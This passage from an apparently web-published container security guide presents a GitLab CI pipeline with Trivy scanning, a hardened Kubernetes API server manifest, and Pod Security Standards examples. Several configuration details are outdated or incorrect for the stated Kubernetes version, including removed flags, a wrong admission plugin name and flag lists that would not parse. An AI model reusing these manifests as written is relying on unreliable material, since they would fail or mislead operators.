requires balancing security rigor with development velocity.</p><p>GitLab CI Example:</p><pre># .gitlab-ci.yml - Comprehensive Security-Integrated CI/CD Pipeline<br># This pipeline demonstrates production-ready security integration</pre><pre>variables:<br>  # Docker image for building<br>  DOCKER_BUILD_IMAGE: docker:24.0<br>  # Trivy scanner version (pinned for consistency)<br>  TRIVY_VERSION: &quot;0.48.0&quot;<br>  # Registry configuration<br>  REGISTRY: registry.company.com<br>  IMAGE_NAME: &quot;${REGISTRY}/${CI_PROJECT_PATH}&quot;<br>  # Security thresholds<br>  VULN_SEVERITY_THRESHOLD: &quot;HIGH,CRITICAL&quot;<br>  # Build configuration<br>  DOCKER_BUILDKIT: &quot;1&quot;  # Enable BuildKit for better performance# Pipeline stages<br>stages:<br>  - build<br>  - security-scan<br>  - push<br>  - deploy# ==============================================================================<br># BUILD STAGE<br># ==============================================================================<br>build:<br>  stage: build<br>  image: ${DOCKER_BUILD_IMAGE}<br>  services:<br>    - docker:24.0-dind<br>  before_script:<br>    # Login to registry<br>    - echo &quot;$CI_REGISTRY_PASSWORD&quot; | docker login -u &quot;$CI_REGISTRY_USER&quot; --password-stdin &quot;$REGISTRY&quot;<br>  script:<br>    # Build with cache to speed up builds<br>    - |<br>      docker build \<br>        --build-arg BUILDKIT_INLINE_CACHE=1 \<br>        --cache-from &quot;${IMAGE_NAME}:latest&quot; \<br>        --tag &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot; \<br>        --tag &quot;${IMAGE_NAME}:${CI_COMMIT_REF_SLUG}&quot; \<br>        .<br>    <br>    # Save image as artifact for subsequent stages<br>    - docker save &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot; -o image.tar<br>  <br>  artifacts:<br>    # Pass image to next stages<br>    paths:<br>      - image.tar<br>    expire_in: 1 hour<br>  <br>  # Only run for merge requests and main branch<br>  rules:<br>    - if: &#39;$CI_PIPELINE_SOURCE == &quot;merge_request_event&quot;&#39;<br>    - if: &#39;$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH&#39;# ==============================================================================<br># SECURITY SCANNING STAGE<br># ==============================================================================# Vulnerability Scanning Job<br>vulnerability-scan:<br>  stage: security-scan<br>  image: aquasec/trivy:${TRIVY_VERSION}<br>  before_script:<br>    # Load image from build stage<br>    - docker load -i image.tar<br>    # Update Trivy vulnerability database<br>    - trivy image --download-db-only<br>  <br>  script:<br>    # Scan image for vulnerabilities<br>    - |<br>      trivy image \<br>        --severity ${VULN_SEVERITY_THRESHOLD} \<br>        --ignore-unfixed \<br>        --no-progress \<br>        --exit-code 0 \<br>        --format json \<br>        --output vulnerability-scan.json \<br>        &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>    <br>    # Generate HTML report for human review<br>    - |<br>      trivy image \<br>        --severity HIGH,CRITICAL,MEDIUM,LOW \<br>        --format template \<br>        --template &quot;@trivy/html.tpl&quot; \<br>        --output vulnerability-report.html \<br>        &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>    <br>    # Check against security policy and fail if issues found<br>    - |<br>      trivy image \<br>        --severity ${VULN_SEVERITY_THRESHOLD} \<br>        --ignore-unfixed \<br>        --exit-code 1 \<br>        &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>  <br>  artifacts:<br>    reports:<br>      # GitLab parses these reports and displays in MR UI<br>      dependency_scanning: vulnerability-scan.json<br>    paths:<br>      # HTML report for downloading<br>      - vulnerability-report.html<br>    expire_in: 30 days<br>  <br>  # Allow manual continuation if scan fails (for emergency deployments)<br>  # Remove this in production for strict enforcement<br>  allow_failure: false# Configuration Scanning Job<br>config-scan:<br>  stage: security-scan<br>  image: aquasec/trivy:${TRIVY_VERSION}<br>  script:<br>    # Scan Dockerfile for misconfigurations<br>    - trivy config --exit-code 1 --severity HIGH,CRITICAL Dockerfile<br>    <br>    # Scan Kubernetes manifests if they exist<br>    - |<br>      if [ -d &quot;k8s&quot; ]; then<br>        trivy config --exit-code 1 --severity HIGH,CRITICAL k8s/<br>      fi<br>  <br>  # Run in parallel with vulnerability scan<br>  needs: []# Secret Scanning Job<br>secret-scan:<br>  stage: security-scan<br>  image: aquasec/trivy:${TRIVY_VERSION}<br>  before_script:<br>    - docker load -i image.tar<br>  <br>  script:<br>    # Scan image for accidentally committed secrets<br>    - |<br>      trivy image \<br>        --scanners secret \<br>        --exit-code 1 \<br>        &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>  <br>  # Fail pipeline if secrets found<br>  allow_failure: false# SBOM Generation Job<br>sbom-generate:<br>  stage: security-scan<br>  image: aquasec/trivy:${TRIVY_VERSION}<br>  before_script:<br>    - docker load -i image.tar<br>  <br>  script:<br>    # Generate CycloneDX SBOM<br>    - |<br>      trivy image \<br>        --format cyclonedx \<br>        --output sbom-cyclonedx.json \<br>        &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>    <br>    # Generate SPDX SBOM<br>    - |<br>      trivy image \<br>        --format spdx-json \<br>        --output sbom-spdx.json \<br>        &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>  <br>  artifacts:<br>    paths:<br>      - sbom-cyclonedx.json<br>      - sbom-spdx.json<br>    expire_in: 90 days<br>  <br>  # SBOM generation shouldn&#39;t fail pipeline<br>  allow_failure: true# ==============================================================================<br># PUSH STAGE - Only if security scans pass<br># ==============================================================================<br>push:<br>  stage: push<br>  image: ${DOCKER_BUILD_IMAGE}<br>  services:<br>    - docker:24.0-dind<br>  before_script:<br>    - docker load -i image.tar<br>    - echo &quot;$CI_REGISTRY_PASSWORD&quot; | docker login -u &quot;$CI_REGISTRY_USER&quot; --password-stdin &quot;$REGISTRY&quot;<br>  <br>  script:<br>    # Push image with commit SHA tag<br>    - docker push &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot;<br>    <br>    # Update latest tag on main branch<br>    - |<br>      if [ &quot;$CI_COMMIT_BRANCH&quot; == &quot;$CI_DEFAULT_BRANCH&quot; ]; then<br>        docker tag &quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot; &quot;${IMAGE_NAME}:latest&quot;<br>        docker push &quot;${IMAGE_NAME}:latest&quot;<br>      fi<br>  <br>  # Only push if security scans pass<br>  needs:<br>    - build<br>    - vulnerability-scan<br>    - config-scan<br>    - secret-scan<br>  <br>  rules:<br>    - if: &#39;$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH&#39;# ==============================================================================<br># DEPLOY STAGE - Production deployment<br># ==============================================================================<br>deploy-production:<br>  stage: deploy<br>  image: bitnami/kubectl:latest<br>  script:<br>    # Update Kubernetes deployment with new image<br>    - |<br>      kubectl set image deployment/myapp \<br>        myapp=&quot;${IMAGE_NAME}:${CI_COMMIT_SHA}&quot; \<br>        --namespace=production \<br>        --record<br>    <br>    # Wait for rollout to complete<br>    - |<br>      kubectl rollout status deployment/myapp \<br>        --namespace=production \<br>        --timeout=5m<br>  <br>  # Manual approval required for production<br>  when: manual<br>  <br>  needs:<br>    - push<br>  <br>  only:<br>    - main<br>  <br>  environment:<br>    name: production<br>    url: https://app.company.com</pre><p>CI/CD Integration Best Practices:</p><p>1. Fail Fast: Security scans should run early in the pipeline, before expensive deployment steps. If an image fails security checks, there’s no point in pushing it to registries or attempting deployment. The example pipeline runs all security scans in parallel after the build, blocking the push stage if any scan fails.</p><p>2. Multiple Security Checks: The pipeline includes multiple types of security scanning:</p><ul><li>Vulnerability Scanning: Checks for known CVEs in dependencies</li><li>Configuration Scanning: Validates Dockerfiles and manifests</li><li>Secret Scanning: Detects accidentally committed credentials</li><li>SBOM Generation: Creates software bill of materials for tracking</li></ul><p>This defense-in-depth approach catches different categories of security issues.</p><p>3. Progressive Security: Not all security checks need to fail the pipeline. The example uses allow_failure: true for SBOM generation because SBOM creation failures shouldn&#39;t block deployments, but the generated SBOMs are still valuable for tracking. Teams can tune which checks are blocking vs. warning based on their risk tolerance.</p><p>4. Security Reports as Artifacts: Scan results are saved as pipeline artifacts and GitLab-native reports. This enables:</p><ul><li>Viewing vulnerability details in merge request UI</li><li>Downloading detailed reports for investigation</li><li>Historical tracking of vulnerabilities over time</li><li>Compliance documentation</li></ul><p>5. Emergency Bypass Procedures: While strong security gates are important, teams need escape hatches for emergency situations. The pipeline uses manual approval for production deployments, providing a checkpoint where security exceptions can be granted if absolutely necessary.</p><p>6. Automated Remediation Workflows: Some organizations extend these pipelines with automatic fix creation. When vulnerabilities are found, the pipeline can automatically create merge requests that update dependencies or rebuild from newer base images. This reduces the manual effort required for vulnerability remediation.</p><p>This comprehensive approach to CI/CD security integration ensures vulnerabilities are caught early, provides visibility into security posture, and prevents insecure images from reaching production while maintaining development velocity.</p><h3>Chapter 3: Kubernetes Security Architecture and Pod Security Standards</h3><p>Kubernetes has evolved from a simple container orchestrator into a comprehensive platform for managing cloud-native applications at scale. This evolution brought immense power and flexibility, but also introduced significant security complexity. Understanding Kubernetes security architecture is essential for security professionals, platform engineers, and developers working with container orchestration. This chapter explores Kubernetes security fundamentals, focusing on the control plane, Pod Security Standards, and admission control mechanisms.</p><h3>3.1 Kubernetes Control Plane Security</h3><p>The Kubernetes control plane consists of several critical components that manage the cluster state and orchestrate workload deployment. Securing these components is paramount because compromise of control plane components can lead to complete cluster takeover. The control plane includes the API server, etcd datastore, scheduler, controller manager, and cloud controller manager. Each component requires specific security configurations to prevent unauthorized access and maintain cluster integrity.</p><p>API Server Security — The Gateway to Kubernetes:</p><p>The Kubernetes API server (kube-apiserver) is the primary interface for all cluster operations. All kubectl commands, CI/CD integrations, and internal component communications pass through the API server. This central role makes it the most critical component to secure. API server security involves multiple layers:</p><p>Authentication determines who can access the API. Kubernetes supports multiple authentication methods including X.509 client certificates, bearer tokens, authentication proxies, and OpenID Connect (OIDC). Production clusters should use OIDC integration with corporate identity providers, enabling centralized authentication and single sign-on capabilities. Certificate-based authentication should be reserved for service accounts and infrastructure components.</p><p>Authorization determines what authenticated users can do. Kubernetes provides several authorization modes, with Role-Based Access Control (RBAC) being the most common and powerful. RBAC allows defining fine-grained permissions based on roles and bindings. Production clusters should enable only RBAC authorization mode and disable permissive modes like AlwaysAllow or ABAC.</p><p>Admission Control provides the last line of defense, intercepting requests after authentication and authorization but before objects are persisted to etcd. Admission controllers can validate, mutate, or reject requests based on policies. Critical admission controllers for security include PodSecurityAdmission, LimitRanger, ResourceQuota, and various policy engines.</p><p>Here’s a comprehensive example of securing the API server through configuration and network controls:</p><pre># ==============================================================================<br># KUBERNETES API SERVER SECURE CONFIGURATION<br># ==============================================================================<br># File: /etc/kubernetes/manifests/kube-apiserver.yaml<br># This configuration demonstrates production-grade API server hardening</pre><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: kube-apiserver<br>  namespace: kube-system<br>  labels:<br>    component: kube-apiserver<br>    tier: control-plane<br>spec:<br>  containers:<br>  - name: kube-apiserver<br>    image: registry.k8s.io/kube-apiserver:v1.28.0<br>    <br>    command:<br>    - kube-apiserver<br>    <br>    # =========================================================================<br>    # AUTHENTICATION CONFIGURATION<br>    # =========================================================================<br>    <br>    # Client certificate authentication for service accounts<br>    - --client-ca-file=/etc/kubernetes/pki/ca.crt<br>    <br>    # TLS certificates for API server<br>    - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt<br>    - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key<br>    <br>    # Enable OIDC authentication for users (integrate with corporate IdP)<br>    - --oidc-issuer-url=https://idp.company.com<br>    - --oidc-client-id=kubernetes<br>    - --oidc-ca-file=/etc/kubernetes/pki/oidc-ca.crt<br>    - --oidc-username-claim=email<br>    - --oidc-groups-claim=groups<br>    # OIDC username prefix prevents conflicts with service account names<br>    - --oidc-username-prefix=oidc:<br>    - --oidc-groups-prefix=oidc:<br>    <br>    # Service account token authentication<br>    - --service-account-key-file=/etc/kubernetes/pki/sa.pub<br>    - --service-account-signing-key-file=/etc/kubernetes/pki/sa.key<br>    - --service-account-issuer=https://kubernetes.default.svc.cluster.local<br>    # Require bound service account tokens (more secure)<br>    - --service-account-extend-token-expiration=true<br>    <br>    # Anonymous authentication disabled (critical security setting)<br>    - --anonymous-auth=false<br>    <br>    # =========================================================================<br>    # AUTHORIZATION CONFIGURATION<br>    # =========================================================================<br>    <br>    # Enable RBAC only (disable permissive modes)<br>    - --authorization-mode=Node,RBAC<br>    <br>    # Webhook authorization for custom policies (optional)<br>    # - --authorization-webhook-config-file=/etc/kubernetes/webhooks/authz-webhook.yaml<br>    # - --authorization-webhook-cache-authorized-ttl=5m<br>    # - --authorization-webhook-cache-unauthorized-ttl=30s<br>    <br>    # =========================================================================<br>    # ADMISSION CONTROL CONFIGURATION<br>    # =========================================================================<br>    <br>    # Critical admission controllers for security<br>    # Order matters - controllers run in sequence<br>    - --enable-admission-plugins=<br>        NodeRestriction,           # Prevents nodes from modifying other nodes<br>        PodSecurityAdmission,      # Enforces Pod Security Standards<br>        LimitRanger,               # Enforces resource limits<br>        ResourceQuota,             # Enforces quota constraints<br>        ServiceAccount,            # Ensures service accounts are properly configured<br>        DefaultStorageClass,       # Sets default storage class<br>        DefaultTolerationSeconds,  # Sets default tolerations<br>        MutatingAdmissionWebhook,  # Enables mutating webhooks<br>        ValidatingAdmissionWebhook # Enables validating webhooks<br>    <br>    # Disable dangerous admission controllers<br>    - --disable-admission-plugins=AlwaysAdmit,NamespaceAutoProvision<br>    <br>    # Pod Security Admission configuration<br>    - --admission-control-config-file=/etc/kubernetes/admission/admission-config.yaml<br>    <br>    # =========================================================================<br>    # AUDIT LOGGING CONFIGURATION<br>    # =========================================================================<br>    <br>    # Enable comprehensive audit logging<br>    - --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml<br>    - --audit-log-path=/var/log/kubernetes/audit/audit.log<br>    - --audit-log-maxage=30        # Retain for 30 days<br>    - --audit-log-maxbackup=10     # Keep 10 backup files<br>    - --audit-log-maxsize=100      # Max 100MB per file<br>    # Audit log format (json for parsing)<br>    - --audit-log-format=json<br>    # Send audit events to webhook (SIEM integration)<br>    - --audit-webhook-config-file=/etc/kubernetes/audit/webhook-config.yaml<br>    - --audit-webhook-batch-max-wait=5s<br>    <br>    # =========================================================================<br>    # ENCRYPTION AT REST (etcd encryption)<br>    # =========================================================================<br>    <br>    # Encrypt secrets and other sensitive data in etcd<br>    - --encryption-provider-config=/etc/kubernetes/encryption/encryption-config.yaml<br>    <br>    # =========================================================================<br>    # NETWORK AND TLS CONFIGURATION<br>    # =========================================================================<br>    <br>    # Bind to specific IP (not 0.0.0.0 for better security)<br>    - --bind-address=10.0.1.10<br>    # Secure port for all communications<br>    - --secure-port=6443<br>    # Disable insecure port completely<br>    - --insecure-port=0<br>    <br>    # TLS version restrictions (only TLS 1.2+)<br>    - --tls-min-version=VersionTLS12<br>    # Strong cipher suites only<br>    - --tls-cipher-suites=<br>        TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,<br>        TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,<br>        TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,<br>        TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br>    <br>    # =========================================================================<br>    # ETCD CONNECTION SECURITY<br>    # =========================================================================<br>    <br>    # Connect to etcd securely<br>    - --etcd-servers=https://127.0.0.1:2379<br>    - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt<br>    - --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt<br>    - --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key<br>    <br>    # =========================================================================<br>    # ADDITIONAL SECURITY SETTINGS<br>    # =========================================================================<br>    <br>    # Enable profiling only on localhost (debug information leakage)<br>    - --profiling=false<br>    <br>    # Request timeout to prevent DoS<br>    - --request-timeout=60s<br>    <br>    # Maximum requests in flight to prevent resource exhaustion<br>    - --max-requests-inflight=400<br>    - --max-mutating-requests-inflight=200<br>    <br>    # Kubelet certificate validation<br>    - --kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt<br>    - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt<br>    - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key<br>    # CRITICAL: Verify kubelet serving certificates<br>    - --kubelet-https=true<br>    <br>    # Feature gates (enable/disable features)<br>    - --feature-gates=<br>        RotateKubeletServerCertificate=true,  # Auto-rotate kubelet certs<br>        ServiceAccountIssuerDiscovery=true     # OIDC discovery for SAs<br>    <br>    # =========================================================================<br>    # RESOURCE LIMITS FOR API SERVER CONTAINER<br>    # =========================================================================<br>    <br>    resources:<br>      requests:<br>        cpu: &quot;250m&quot;<br>        memory: &quot;512Mi&quot;<br>      limits:<br>        cpu: &quot;1000m&quot;<br>        memory: &quot;2Gi&quot;<br>    <br>    # =========================================================================<br>    # VOLUME MOUNTS FOR CONFIGURATION AND PKI<br>    # =========================================================================<br>    <br>    volumeMounts:<br>    - mountPath: /etc/kubernetes/pki<br>      name: k8s-certs<br>      readOnly: true<br>    - mountPath: /etc/kubernetes/admission<br>      name: admission-config<br>      readOnly: true<br>    - mountPath: /etc/kubernetes/audit<br>      name: audit-config<br>      readOnly: true<br>    - mountPath: /etc/kubernetes/encryption<br>      name: encryption-config<br>      readOnly: true<br>    - mountPath: /var/log/kubernetes/audit<br>      name: audit-logs<br>    <br>  # =========================================================================<br>  # HOST CONFIGURATION<br>  # =========================================================================<br>  <br>  hostNetwork: true<br>  priorityClassName: system-node-critical<br>  <br>  volumes:<br>  - hostPath:<br>      path: /etc/kubernetes/pki<br>      type: DirectoryOrCreate<br>    name: k8s-certs<br>  - hostPath:<br>      path: /etc/kubernetes/admission<br>      type: DirectoryOrCreate<br>    name: admission-config<br>  - hostPath:<br>      path: /etc/kubernetes/audit<br>      type: DirectoryOrCreate<br>    name: audit-config<br>  - hostPath:<br>      path: /etc/kubernetes/encryption<br>      type: DirectoryOrCreate<br>    name: encryption-config<br>  - hostPath:<br>      path: /var/log/kubernetes/audit<br>      type: DirectoryOrCreate<br>    name: audit-logs</pre><p>Comprehensive Analysis of API Server Security Configuration:</p><p>This configuration demonstrates production-grade API server hardening addressing multiple attack vectors:</p><p>Authentication Architecture: The configuration implements multi-method authentication suited for different use cases. OIDC integration with corporate identity providers enables human users to authenticate using their standard corporate credentials, providing centralized authentication management, automated account lifecycle management, and integration with existing security tools. Service accounts use certificate-based authentication, which provides strong cryptographic identity for workloads. The critical setting --anonymous-auth=false prevents unauthenticated requests entirely, eliminating a common attack vector where anonymous users probe the API for information disclosure.</p><p>Authorization Hardening: Setting --authorization-mode=Node,RBAC enables only secure authorization modes. The Node authorization mode allows kubelets to access only resources for pods scheduled on their nodes, implementing least-privilege principles for node-to-API-server communication. RBAC authorization requires explicit permission grants for all operations, replacing permissive legacy modes. Notably absent from this configuration are AlwaysAllow (grants all requests), ABAC (deprecated attribute-based access control), and Webhook authorization modes that might introduce security risks if misconfigured.</p><p>Admission Control Defense-in-Depth: The admission controller configuration creates multiple security checkpoints for API requests. NodeRestriction prevents nodes from modifying Node objects they don&#39;t own, limiting the blast radius of compromised nodes. PodSecurityAdmission enforces Pod Security Standards cluster-wide, preventing deployment of insecure pod configurations. LimitRanger and ResourceQuota prevent resource exhaustion attacks by enforcing limits on resource consumption. The webhook admission controllers enable custom policy enforcement through tools like OPA Gatekeeper or Kyverno, allowing organizations to implement business-specific security policies.</p><p>Audit Logging Configuration: Comprehensive audit logging configured through --audit-policy-file and related flags creates an immutable record of all API operations for security monitoring, compliance, and forensics. The configuration sends audit logs to both local files (for immediate access) and webhooks (for SIEM integration), ensuring logs survive cluster failures and cannot be easily tampered with by attackers. Audit logs capture who did what, when, and from where, enabling security teams to detect suspicious activity, investigate incidents, and demonstrate compliance with regulatory requirements.</p><p>Encryption at Rest: The --encryption-provider-config flag enables encryption of sensitive data in etcd using provider plugins. This ensures secrets, ConfigMaps, and other potentially sensitive data are encrypted when stored in the etcd database. Without encryption at rest, anyone with etcd access (including etcd backups) can read all cluster secrets in plaintext. The encryption configuration supports multiple providers including aescbc, aesgcm, secretbox, and KMS (Key Management Service) integration with cloud providers or HashiCorp Vault for enterprise key management.</p><p>Network Security Hardening: Several network-related settings improve security posture. Binding to a specific IP address (--bind-address) rather than 0.0.0.0 limits which network interfaces can receive API requests, reducing attack surface. Setting --insecure-port=0 completely disables the insecure HTTP port, ensuring all communications use TLS. The TLS configuration specifies minimum version (TLS 1.2) and restricts cipher suites to strong algorithms, preventing downgrade attacks and ensuring forward secrecy.</p><p>Resource Limit Protection: Request throttling through --max-requests-inflight and --max-mutating-requests-inflight prevents API server resource exhaustion during DoS attacks or accidental request storms. These limits ensure the API server remains responsive to critical operations even under heavy load. The request timeout (--request-timeout) prevents long-running requests from tying up API server resources indefinitely.</p><p>Kubelet Security: The kubelet-related settings establish secure communication between the API server and kubelets. Most critically, --kubelet-https=true combined with certificate verification settings ensures the API server validates kubelet identity before sending sensitive workload information. This prevents man-in-the-middle attacks where malicious actors impersonate kubelets to receive pod specifications containing secrets.</p><h3>3.2 Pod Security Standards (PSS) — Modern Pod Security</h3><p>Pod Security Standards represent Kubernetes’ modern approach to pod security, replacing the deprecated PodSecurityPolicy (PSP) admission controller. PSS defines three security profiles — Privileged, Baseline, and Restricted — that represent different levels of security hardening. Unlike PSP’s complex policy definitions, PSS provides predefined, well-documented security postures that organizations can apply cluster-wide or per-namespace.</p><p>Understanding the Three Security Profiles:</p><p>Privileged Profile: The Privileged profile is completely unrestricted, allowing any pod configuration including those with full host access, privileged containers, and dangerous capabilities. This profile should be used sparingly, typically only for system-level workloads like CNI plugins, CSI drivers, or privileged monitoring agents that genuinely require host access. Using the Privileged profile for application workloads represents a significant security risk.</p><p>Baseline Profile: The Baseline profile prevents the most dangerous pod configurations while remaining broadly compatible with existing workloads. It blocks privileged containers, host namespace access, and other configurations known to enable easy container escape or host compromise. The Baseline profile serves as a reasonable starting point for organizations beginning their pod security journey, providing meaningful security improvements without requiring extensive application modifications.</p><p>Restricted Profile: The Restricted profile implements defense-in-depth security controls aligned with current pod hardening best practices. It enforces running as non-root, dropping all capabilities, using read-only root filesystems, and preventing privilege escalation. This profile represents the gold standard for pod security and should be the goal for all application workloads in production environments. However, achieving Restricted compliance often requires application modifications, particularly for legacy applications not designed with container security in mind.</p><p>Here’s a comprehensive example of implementing Pod Security Standards across a cluster:</p><pre># ==============================================================================<br># POD SECURITY ADMISSION CONFIGURATION<br># ==============================================================================<br># File: /etc/kubernetes/admission/admission-config.yaml<br># This configuration enforces Pod Security Standards cluster-wide</pre><pre>apiVersion: apiserver.config.k8s.io/v1<br>kind: AdmissionConfiguration<br>plugins:<br>- name: PodSecurity<br>  configuration:<br>    apiVersion: pod-security.admission.config.k8s.io/v1<br>    kind: PodSecurityConfiguration<br>    <br>    # Default security profiles for namespaces without labels<br>    defaults:<br>      # Enforce Baseline by default (good starting point)<br>      enforce: &quot;baseline&quot;<br>      enforce-version: &quot;latest&quot;<br>      <br>      # Warn on Restricted violations (encourage best practices)<br>      warn: &quot;restricted&quot;<br>      warn-version: &quot;latest&quot;<br>      <br>      # Audit Restricted violations for compliance tracking<br>      audit: &quot;restricted&quot;<br>      audit-version: &quot;latest&quot;<br>    <br>    # Exemptions - specific workloads or namespaces exempt from policies<br>    exemptions:<br>      # Exempt specific usernames (typically admins)<br>      usernames:<br>        - &quot;system:serviceaccount:kube-system:privileged-sa&quot;<br>      <br>      # Exempt specific runtime classes<br>      runtimeClasses: []<br>      <br>      # Exempt specific namespaces (system namespaces)<br>      namespaces:<br>        - kube-system      # System components<br>        - kube-node-lease  # Node lease system<br>        - kube-public      # Public cluster info<br>---<br># ==============================================================================<br># NAMESPACE SECURITY PROFILE CONFIGURATION<br># ==============================================================================<br># Apply security profiles at namespace level using labels# Example 1: Production namespace with RESTRICTED profile<br>apiVersion: v1<br>kind: Namespace<br>metadata:<br>  name: production<br>  labels:<br>    # Enforce restricted profile - highest security<br>    pod-security.kubernetes.io/enforce: restricted<br>    pod-security.kubernetes.io/enforce-version: latest<br>    <br>    # Warn and audit on the same level<br>    pod-security.kubernetes.io/warn: restricted<br>    pod-security.kubernetes.io/warn-version: latest<br>    pod-security.kubernetes.io/audit: restricted<br>    pod-security.kubernetes.io/audit-version: latest<br>    <br>    # Additional organizational labels<br>    environment: production<br>    security-tier: high<br>---<br># Example 2: Development namespace with BASELINE profile<br>apiVersion: v1<br>kind: Namespace<br>metadata:<br>  name: development<br>  labels:<br>    # Enforce baseline profile - balance security and flexibility<br>    pod-security.kubernetes.io/enforce: baseline<br>    pod-security.kubernetes.io/enforce-version: latest<br>    <br>    # Warn on restricted violations (encourage best practices)<br>    pod-security.kubernetes.io/warn: restricted<br>    pod-security.kubernetes.io/warn-version: latest<br>    pod-security.kubernetes.io/audit: restricted<br>    pod-security.kubernetes.io/audit-version: latest<br>    <br>    environment: development<br>    security-tier: medium<br>---<br># Example 3: System namespace with PRIVILEGED profile (use sparingly)<br>apiVersion: v1<br>kind: Namespace<br>metadata:<br>  name: monitoring-system<br>  labels:<br>    # Allow privileged workloads (monitoring agents need host access)<br>    pod-security.kubernetes.io/enforce: privileged<br>    pod-security.kubernetes.io/enforce-version: latest<br>    <br>    # Still warn and audit on violations<br>    pod-security.kubernetes.io/warn: baseline<br>    pod-security.kubernetes.io/warn-version: latest<br>    pod-security.kubernetes.io/audit: baseline<br>    pod-security.kubernetes.io/audit-version: latest<br>    <br>    environment: production<br>    workload-type: infrastructure<br>---<br># ==============================================================================<br># EXAMPLE: RESTRICTED POD SPECIFICATION<br># ==============================================================================<br># This pod meets all Restricted profile requirementsapiVersion: v1<br>kind: Pod<br>metadata:<br>  name: secure-application<br>  namespace: production<br>  labels:<br>    app: secure-app<br>spec:<br>  # =========================================================================<br>  # POD-LEVEL SECURITY CONTEXT<br>  # =========================================================================<br>  securityContext:<br>    # Run as non-root user (required by Restricted)<br>    runAsNonRoot: true<br>    <br>    # Specify user ID explicitly (best practice)<br>    runAsUser: 10001<br>    runAsGroup: 10001<br>    <br>    # Set filesystem group for volume permissions<br>    fsGroup: 10001<br>    <br>    # Ensure fsGroup ownership applied efficiently<br>    fsGroupChangePolicy: OnRootMismatch<br>    <br>    # Apply seccomp profile (required by Restricted)<br>    seccompProfile:<br>      type: RuntimeDefault<br>    <br>    # Supplemental groups (if needed for file access)<br>    supplementalGroups: [10002]<br>  <br>  containers:<br>  - name: app<br>    image: myapp:1.0.0<br>    <br>    # =========================================================================<br>    # CONTAINER-LEVEL SECURITY CONTEXT<br>    # =========================================================================<br>    securityContext:<br>      # Prevent privilege escalation (required by Restricted)<br>      allowPrivilegeEscalation: false<br>      <br>      # Run as non-root (required by Restricted)<br>      runAsNonRoot: true<br>      runAsUser: 10001<br>      runAsGroup: 10001<br>      <br>      # Drop all capabilities (required by Restricted)<br>      capabilities:<br>        drop:<br>          - ALL<br>      <br>      # Read-only root filesystem (required by Restricted)<br>      readOnlyRootFilesystem: true<br>      <br>      # Explicitly deny privileged mode (required by Restricted)<br>      privileged: false<br>    <br>    # Resource limits (recommended for Restricted)<br>    resources:<br>      requests:<br>        memory: &quot;128Mi&quot;<br>        cpu: &quot;100m&quot;<br>      limits:<br>        memory: &quot;256Mi&quot;<br>        cpu: &quot;200m&quot;<br>    <br>    # Volume mounts for writable directories<br>    volumeMounts:<br>    - name: tmp<br>      mountPath: /tmp<br>    - name: cache<br>      mountPath: /app/cache<br>    <br>    # Health checks<br>    livenessProbe:<br>      httpGet:<br>        path: /health<br>        port: 8080<br>      initialDelaySeconds: 30<br>      periodSeconds: 10<br>    <br>    readinessProbe:<br>      httpGet:<br>        path: /ready<br>        port: 8080<br>      initialDelaySeconds: 5<br>      periodSeconds: 5<br>  <br>  # =========================================================================<br>  # VOLUMES (using emptyDir for writable directories)<br>  # =========================================================================<br>  volumes:<br>  - name: tmp<br>    emptyDir:<br>      medium: Memory<br>      sizeLimit: 100Mi<br>  - name: cache<br>    emptyDir:<br>      sizeLimit: 500Mi<br>  <br>  # =========================================================================<br>  # ADDITIONAL SECURITY SETTINGS<br>  # =========================================================================<br>  <br>  # Use specific service account (not default)<br>  serviceAccountName: app-service-account<br>  <br>  # Disable service account token auto-mount if not needed<br>  automountServiceAccountToken: false<br>  <br>  # Node affinity for security zones (optional)<br>  affinity:<br>    nodeAffinity:<br>      requiredDuringSchedulingIgnoredDuringExecution:<br>        nodeSelectorTerms:<br>        - matchExpressions:<br>          - key: security-zone<br>            operator: In<br>            values:<br>            - restricted<br>  <br>  # Toleration for dedicated security nodes<br>  tolerations:<br>  - key: security<br>    operator: Equal<br>    value: restricted<br>    effect: NoSchedule<br>---<br># ==============================================================================<br># BASELINE POD EXAMPLE (less restrictive but still secure)<br># ==============================================================================apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: baseline-app<br>  namespace: development<br>spec:<br>  securityContext:<br>    # Can run as any non-root user<br>    runAsNonRoot: true<br>    # Seccomp not strictly required but recommended<br>    seccompProfile:<br>      type: RuntimeDefault<br>  <br>  containers:<br>  - name: app<br>    image: myapp:dev<br>    <br>    securityContext:<br>      # Must prevent privilege escalation<br>      allowPrivilegeEscalation: false<br>      <br>      # Can have some capabilities (not ALL)<br>      capabilities:<br>        drop:<br>          - ALL<br>        add:<br>          - NET_BIND_SERVICE  # Allow binding to ports &lt; 1024<br>      <br>      # Read-only filesystem not required<br>      readOnlyRootFilesystem: false<br>      <br>      # Must not be privileged<br>      privileged: false<br>    <br>    # Can write to any path (no read-only root filesystem)<br>    # But still follow security best practices<br>---<br># ==============================================================================<br># SERVICE ACCOUNT WITH RESTRICTED PERMISSIONS<br># ==============================================================================apiVersion: v1<br>kind: 